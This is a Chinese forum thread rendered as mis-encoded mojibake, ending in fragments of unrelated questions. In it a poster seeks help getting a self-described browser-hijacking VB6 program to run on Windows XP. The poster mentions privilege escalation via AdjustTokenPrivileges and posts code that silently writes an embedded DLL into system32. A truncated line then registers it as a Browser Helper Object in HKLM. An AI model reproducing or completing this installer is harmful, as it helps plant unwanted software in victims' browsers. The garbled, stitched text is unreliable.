vb³ÌÐòÔÚXPϵͳÏÂÎÞ·¨Ö´ÐУ¿
ÎÒÓÃVBдÁËÒ»¸ö½Ù³Öä¯ÀÀÆ÷µÄÓ¦Óᢿª·¢»·¾³£¨ windows2003 + VB6.0 £©µ«ÔÚXPÏÂÎÞ·¨Õý³£Ö´ÐУ¿
ÍøÉϲé×ÊÁ϶¼ËµÐèÒªÌáȨ£¬¿ÉÎÒͨ¹ýAdjustTokenPrivileges½øÐÐDEBUGÌáȨ֮ºó£¬ÔÚXPÏÂÈÔÈ»ÎÞ·¨Ö´ÐУ¬Çë¸ßÊÖ°ïæ½â¾öһϣ¡
Îҵģѣѣº544588699¡¢»¶Ó¼ÓÈëÎÒ£ÑÌÖÂÛ¡«¡«¡«
Ò»¹²Ö»ÓÐ6·ÖÁË£¬±íʾǷÒâ¡«¡«¡«
ÓпÉÄÜÊÇÔÚ 2003 ÖеÄijЩ API º¯Êý£¬Óë XP ÖеIJ»Ïàͬ°É£¡
¿´¿´ÄãµÄ³ÌÐòÀïÊDz»ÊÇÓõ½ÁËʲôDLL,OCXÎļþ£¬ÔÚXPÏÂÖØÐÂ×¢²áһϿ´¿´£¡
End_rbody_60475008//-->
¸Ã»Ø¸´ÓÚ2009-10-19 10:46:36±»¹ÜÀíԱɾ³ý
¶ÔÎÒÓÐÓÃ[0]
¶ª¸ö°åש[0]
ÒýÓÃ
¾Ù±¨
¹ÜÀí
TOP
victory2006
(Î÷ÄÏ)
µÈ¡¡¼¶£º
#4Â¥ µÃ·Ö£º0»Ø¸´ÓÚ£º2009-10-17 09:07:15
ÓÐÒ»¸öDLL¡¢ÎÒͨ¹ýÒÔÏ·½·¨´ÓRESÖÐÊͷŵ½system32ÏÂÁË
Private Sub shifang()
On Error Resume Next
Dim strSysPath As String
Dim strDesPath As String
Dim binBuffer() As Byte
strDesPath = "c:\windows\system32\" & "project.dll"
If Dir(strDesPath) <> "" Then
Exit Sub
End If
binBuffer = LoadResData(101, "CUSTOM")
Open strDesPath For Binary As #1
Put #1, , binBuffer
Close #1
End Sub
»¹Óз¢ÏֺܶàʱºòÐÞ¸Ä×¢²á±í²»³É¹¦¡¢²»ÔõôÎȶ¨¡«
±ÈÈ磺
Dim wsh As New WshShell
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper O
Ïà¹ØÎÊ´ð£º
login.aspx.vb:
Public ReadOnly Property nameT() As String
Get
Return TextBox1.Text
&nb ......
±ÈÈç½ø³Ì¼ÓÔØÐµijÌÐò¡£
ÔÚÆäÔËÐÐ֮ǰ×èÖ¹¡£
È»ºóÔÊÐíºó·ÅÐС£
±ÈÈç³ÌÐòÖ÷Îļþ·¾¶ÊÇc:\test\test.exe£¬½¨Á¢ÄÚÈÝÈÎÒâµÄÎļþc:\test\test.exe.manifest¡£
¾ÍÊDz»ÖªµÀ³ÌÐòÎļþ·¾¶¡£
ÉèÖ ......
Ï£Íû´ó¼ÒÄܹ»°ïÎÒÏÂ.¸ÐлÁË..
Ô´Âë´«ÔÚ´óÃ×ÅÌ VB6 µÄÔ´Âë http://www.damipan.com/file/3wNoKLW.html
תΪVB.NETÔ´Âë.
СµÜÍêÈ«ÊÇÐÂÊÖ ²»¶®µÄ˵.Âé·³¸÷λ°ïæһÏÂ
ÎÒµÄEMAILÊÇ:4452 ......
¾ÍÊÇÉè¼ÆÒ»¸ö¼ÆËã»úÄ£Ä⿼ÊÔϵͳ£¬´øÓÐѧÉúºÍ¹ÜÀíÔ±£¬ËùÒԵǼ´°ÌåºÍÖ÷´°ÌåÏë·Ö¿ª£¬µÇ½ѧÉúµÄÏÔʾѧÉúµÄÖ÷´°Ì壬µÇ½¹ÜÀíÔ±ÏÔʾ¹ÜÀíÖ÷´°Ì壬ÎÒÖ»»áÒ»¸ö´°ÌåÓÃÒ»¶Ñ¿Ø¼þ£¬ÏÖÔÚÏíÓжà¸öÖ÷´°Ì壬²»ÖªµÀÔõô×ö£¬Ï£ÍûÇë´ó ......